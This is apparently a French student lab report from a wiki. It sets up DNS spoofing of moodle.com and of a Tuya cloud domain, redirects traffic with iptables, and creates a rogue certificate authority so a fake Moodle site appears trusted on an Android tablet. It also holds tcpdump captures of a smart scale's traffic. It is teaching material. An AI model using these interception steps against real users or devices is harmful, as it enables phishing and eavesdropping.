&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin, on met en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à Internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici, ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
D'abord, on modifie &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on crée la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone moodle.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vers un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on configure &amp;lt;code&amp;gt;Apache2&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommée CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on vient générer une demande de signature de certificat :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, on vient signer le site avec le certificat de CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
&lt;br /&gt;
== Première tentative ==&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sûr le faux Moodle, mais comme le téléphone ne connait pas l'autorité de certification nommé CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
C'est pour cela qu'une solution proposée est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai dû prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installé &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du pc qui est simulé comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solutions avant que la VM ne crash d'elle-même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La première est toute simple, connecter la Zabeth directement au WiFi, ce qui est difficile à distance. La seconde, qui est je pense possible, est de changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
== Seconde tentative ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw -cdrom *android-x86*.iso -boot d&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64     -m 2048     -enable-kvm     -cpu host     -smp 2     -display sdl     -drive file=android.img,format=raw,if=virtio     -usb     -device usb-host,vendorid=0x148f,productid=0x5370&lt;br /&gt;
&lt;br /&gt;
== Ultime tentative ==&lt;br /&gt;
//TO DO Ajouter méthode routage android Android studio.&lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant, on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
(cette page web date du 06/10/25, elle n'est plus valable depuis le 10/10/25...)&lt;br /&gt;
&lt;br /&gt;
= Nedis Wi-Fi Smart Personal Scales =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce second TP, nous allons jouer avec ce pèse personne de nedis. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, j'ai connecté la balance au résau SE5-SSID10.&lt;br /&gt;
&lt;br /&gt;
Puis j'ai remarqué que quand je tentai de me peser, la balance affiche err2.&lt;br /&gt;
&lt;br /&gt;
Après une courte investigation, il s'agit d'une balance qui émet des signaux électriques pour analyser la composition corporelle donc si on se pèse avec des chaussures, cela pose problème.&lt;br /&gt;
&lt;br /&gt;
Pour la suite du projet, on se pèsera avec les mains.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Poid_sur_app_nedis.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On constate sur ces paquets la requête de la balance pour obtenir une IP, puis le moment ou elle l'obtient. A chaque fois qu'elle redémarre, elle vient récupérer une IP, elle n'aura donc pas forcement la 105.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:WS connection balance.png|sans_cadre|858x858px]]&lt;br /&gt;
&lt;br /&gt;
Je peux donc ping ma balance depuis mon pc (celui qui host ma vm)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PIng balance.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
tcpdump -i eth1 -n port 53:&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
14:46:51.115996 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 13861+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.125611 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 13861 3/0/0 A 3.120.92.134, A 18.184.31.90, A 35.156.44.172 (79)&lt;br /&gt;
14:46:51.168250 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 59035+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.177967 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 59035 3/0/0 A 18.198.62.99, A 18.158.227.228, A 3.67.116.46 (79)&lt;br /&gt;
14:46:51.703179 IP 172.16.10.102.57661 &amp;gt; 172.16.10.1.53: 30982+ AAAA? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.706085 IP 172.16.10.102.57662 &amp;gt; 172.16.10.1.53: 15654+ A? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.713159 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57661: 30982 3/0/0 AAAA 2a05:d014:afa:af02:262a:be09:e328:ff21, AAAA 2a05:d014:afa:af01:87dc:dc67:35a1:5bfe, AAAA 2a05:d014:afa:af00:1ee2:1f00:e061:e8bf (115)&lt;br /&gt;
14:46:51.715736 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57662: 15654 3/0/0 A 3.78.92.3, A 35.159.150.3, A 3.121.33.91 (79)&lt;br /&gt;
&lt;br /&gt;
56 packets captured&lt;br /&gt;
56 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
[4343449.827028] device eth1 left promiscuous mode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;visiblement notre balance communque avec tuya via m2.tuyaeu.com et a3.tuyaeu.com&lt;br /&gt;
&lt;br /&gt;
et la vm android a1.tuyaeu.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
tcpdump -i eth1 -n port 53: après avoir crée dns, site, etc a1.tuyaeu.com&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
root@SE5:/etc/apache2/sites-available# tcpdump -i eth1 -n port 53&lt;br /&gt;
[5544865.540418] device eth1 entered promiscuous mode&lt;br /&gt;
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode&lt;br /&gt;
listening on eth1, link-type EN10MB (Ethernet), snapshot length 262144 bytes&lt;br /&gt;
12:30:55.146437 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.17620: 23156 5/0/0 CNAME reddit.map.fastly.net., A 151.101.129.140, A&lt;br /&gt;
 151.101.1.140, A 151.101.65.140, A 151.101.193.140 (129)&lt;br /&gt;
12:30:55.168796 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.24249: 64622 2/0/0 CNAME us-central1-gcp.api.sc-gw.com., A 35.190.43.&lt;br /&gt;
134 (109)&lt;br /&gt;
12:30:55.322498 IP 172.16.10.100.26394 &amp;gt; 172.16.10.1.53: 29420+ A? scontent-cdg4-1.xx.fbcdn.net. (46)&lt;br /&gt;
12:30:56.095075 IP 172.16.10.100.62675 &amp;gt; 172.16.10.1.53: 46396+ A? cf-st.sc-cdn.net. (34)&lt;br /&gt;
12:30:56.121796 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.62675: 46396 1/0/0 A 3.163.248.4 (50)&lt;br /&gt;
12:30:56.539099 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.26394: 29420 1/0/0 A 185.60.219.2 (62)&lt;br /&gt;
12:30:57.289763 IP 172.16.10.100.7071 &amp;gt; 172.16.10.1.53: 14247+ A? usc1-gcp-v62.api.snapchat.com. (47)&lt;br /&gt;
12:30:57.302767 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.7071: 14247 2/0/0 CNAME usc1-gcp-v62.api.sc-gw.com., A 34.120.159.232&lt;br /&gt;
 (103)&lt;br /&gt;
12:30:58.490060 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 50294+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.490174 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 50294* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
12:30:58.540041 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 23785+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.540132 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 23785* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
12:31:00.979103 IP 172.16.10.100.63625 &amp;gt; 172.16.10.1.53: 63574+ A? gql-fed.reddit.com. (36)&lt;br /&gt;
12:31:00.997721 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.63625: 63574 5/0/0 CNAME reddit.map.fastly.net., A 151.101.65.140, A &lt;br /&gt;
151.101.129.140, A 151.101.193.140, A 151.101.1.140 (135)&lt;br /&gt;
12:31:04.461507 IP 172.16.10.102.63971 &amp;gt; 172.16.10.1.53: 20792+ A? discord.com. (29)&lt;br /&gt;
12:31:04.461519 IP 172.16.10.102.54572 &amp;gt; 172.16.10.1.53: 15444+ Type65? discord.com. (29)&lt;br /&gt;
12:31:04.493098 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.63971: 20792 5/0/0 A 162.159.138.232, A 162.159.136.232, A 162.159.12&lt;br /&gt;
8.233, A 162.159.135.232, A 162.159.137.232 (109)&lt;br /&gt;
12:31:04.493306 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.54572: 15444 1/0/5 Type65 (158)&lt;br /&gt;
18 packets captured&lt;br /&gt;
18 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;tcpdump -i eth1 host 172.16.10.105 and not port 53 -A&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode&lt;br /&gt;
listening on eth1, link-type EN10MB (Ethernet), snapshot length 262144 bytes&lt;br /&gt;
12:36:41.148741 IP 172.16.10.0.bootps &amp;gt; 172.16.10.105.bootpc: BOOTP/DHCP, Reply, length 300&lt;br /&gt;
E..H..........&lt;br /&gt;
...&lt;br /&gt;
i.C.D.4......&amp;lt;\)...........&lt;br /&gt;
i..........|.-L........................................................................................................&lt;br /&gt;
..................................................................................................c.Sc5..6...&lt;br /&gt;
.3....X..........&lt;br /&gt;
.....&lt;br /&gt;
..	plil.info................&lt;br /&gt;
12:36:41.161323 IP 172.16.10.0.bootps &amp;gt; 172.16.10.105.bootpc: BOOTP/DHCP, Reply, length 300&lt;br /&gt;
E..H..........&lt;br /&gt;
...&lt;br /&gt;
i.C.D.4g.....[.}T..........&lt;br /&gt;
i..........|.-L........................................................................................................&lt;br /&gt;
..................................................................................................c.Sc5..6...&lt;br /&gt;
.3....X..........&lt;br /&gt;
.....&lt;br /&gt;
..	plil.info................&lt;br /&gt;
12:36:41.167616 ARP, Request who-has 172.16.10.105 tell 0.0.0.0, length 46&lt;br /&gt;
..........|.-L............&lt;br /&gt;
i....P....Y...c....&lt;br /&gt;
12:36:41.490919 ARP, Request who-has 172.16.10.105 tell 0.0.0.0, length 46&lt;br /&gt;
..........|.-L............&lt;br /&gt;
i.r.u....).........&lt;br /&gt;
12:36:41.993612 ARP, Request who-has 172.16.10.105 tell 172.16.10.105, length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i........&lt;br /&gt;
i..HE.....f........&lt;br /&gt;
12:36:42.011664 ARP, Request who-has 172.16.10.1 tell 172.16.10.105, length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i........&lt;br /&gt;
.....up. ..........&lt;br /&gt;
12:36:42.011672 ARP, Reply 172.16.10.1 is-at 00:16:3e:23:74:42 (oui Unknown), length 28&lt;br /&gt;
..........&amp;gt;#tB..&lt;br /&gt;
...|.-L..&lt;br /&gt;
i&lt;br /&gt;
12:36:42.019053 IP 172.16.10.105.3872 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6509, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O&amp;gt;..&lt;br /&gt;
i..&lt;br /&gt;
.. &amp;quot;....m....`....&amp;lt;........&lt;br /&gt;
12:36:42.019100 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.3872: Flags [R.], seq 0, ack 6510, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.. .......nP.......&lt;br /&gt;
12:36:42.070419 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [S], seq 6509, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O&amp;lt;..&lt;br /&gt;
i..&lt;br /&gt;
.B......m....`...........&amp;lt;.&lt;br /&gt;
12:36:42.070442 IP 172.16.10.1.https &amp;gt; 172.16.10.105.17034: Flags [S.], seq 3767910189, ack 6510, win 64240, options [m&lt;br /&gt;
ss 1460], length 0&lt;br /&gt;
E..,..@.@..A..&lt;br /&gt;
...&lt;br /&gt;
i..B....-...n`...l.......&lt;br /&gt;
12:36:42.077437 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [.], ack 1, win 4380, length 0&lt;br /&gt;
E..(......O?..&lt;br /&gt;
i..&lt;br /&gt;
.B......n....P...4......&lt;br /&gt;
..&lt;br /&gt;
12:36:42.079986 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [P.], seq 1:68, ack 1, win 4380, length 67&lt;br /&gt;
E..k......N...&lt;br /&gt;
i..&lt;br /&gt;
.B......n....P...........&amp;gt;...:..BAohBAohbmd6aG91IFR1eVjaG5vbG9SB........................&lt;br /&gt;
12:36:42.080012 IP 172.16.10.1.https &amp;gt; 172.16.10.105.17034: Flags [.], ack 68, win 64173, length 0&lt;br /&gt;
E..(..@.@.....&lt;br /&gt;
...&lt;br /&gt;
i..B.........P...l...&lt;br /&gt;
12:36:42.080447 IP 172.16.10.1.https &amp;gt; 172.16.10.105.17034: Flags [P.], seq 1:8, ack 68, win 64173, length 7&lt;br /&gt;
E../..@.@.....&lt;br /&gt;
...&lt;br /&gt;
i..B.........P...l.........(&lt;br /&gt;
12:36:42.080533 IP 172.16.10.1.https &amp;gt; 172.16.10.105.17034: Flags [F.], seq 8, ack 68, win 64173, length 0&lt;br /&gt;
E..(..@.@.....&lt;br /&gt;
...&lt;br /&gt;
i..B....5....P...l...&lt;br /&gt;
12:36:42.101652 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [.], ack 8, win 4373, length 0&lt;br /&gt;
E..(.	....O&amp;lt;..&lt;br /&gt;
i..&lt;br /&gt;
.B..........5P...4s........&lt;br /&gt;
12:36:42.102116 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [R.], seq 68, ack 8, win 4380, length 0&lt;br /&gt;
E..(.&lt;br /&gt;
....O;..&lt;br /&gt;
i..&lt;br /&gt;
.B..........5P...4h.....&lt;br /&gt;
..&lt;br /&gt;
12:36:43.025368 IP 172.16.10.105.23869 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6511, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O6..&lt;br /&gt;
i..&lt;br /&gt;
.]=&amp;quot;....o....`............9&lt;br /&gt;
12:36:43.025387 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.23869: Flags [R.], seq 0, ack 6512, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.]=.......pP.......&lt;br /&gt;
12:36:44.025225 IP 172.16.10.105.22317 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6513, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O5..&lt;br /&gt;
i..&lt;br /&gt;
.W-&amp;quot;....q....`....+........&lt;br /&gt;
12:36:44.025269 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.22317: Flags [R.], seq 0, ack 6514, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.W-.......rP.......&lt;br /&gt;
12:36:45.025301 IP 172.16.10.105.31465 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6517, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O4..&lt;br /&gt;
i..&lt;br /&gt;
.z.&amp;quot;....u....`...ck......E.&lt;br /&gt;
12:36:45.025318 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.31465: Flags [R.], seq 0, ack 6518, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.z........vP....0..&lt;br /&gt;
12:36:46.025500 IP 172.16.10.105.9070 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6521, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O3..&lt;br /&gt;
i..&lt;br /&gt;
.#n&amp;quot;....y....`.............&lt;br /&gt;
12:36:46.025517 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.9070: Flags [R.], seq 0, ack 6522, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.#n.......zP.......&lt;br /&gt;
12:36:47.033189 IP 172.16.10.105.51179 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6527, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O2..&lt;br /&gt;
i..&lt;br /&gt;
...&amp;quot;.........`...._......y.&lt;br /&gt;
12:36:47.033206 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.51179: Flags [R.], seq 0, ack 6528, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;...........P...?$..&lt;br /&gt;
12:36:47.263020 ARP, Request who-has 172.16.10.105 tell 172.16.10.1, length 28&lt;br /&gt;
..........&amp;gt;#tB..&lt;br /&gt;
.........&lt;br /&gt;
i&lt;br /&gt;
12:36:48.287049 ARP, Request who-has 172.16.10.105 tell 172.16.10.1, length 28&lt;br /&gt;
..........&amp;gt;#tB..&lt;br /&gt;
.........&lt;br /&gt;
i&lt;br /&gt;
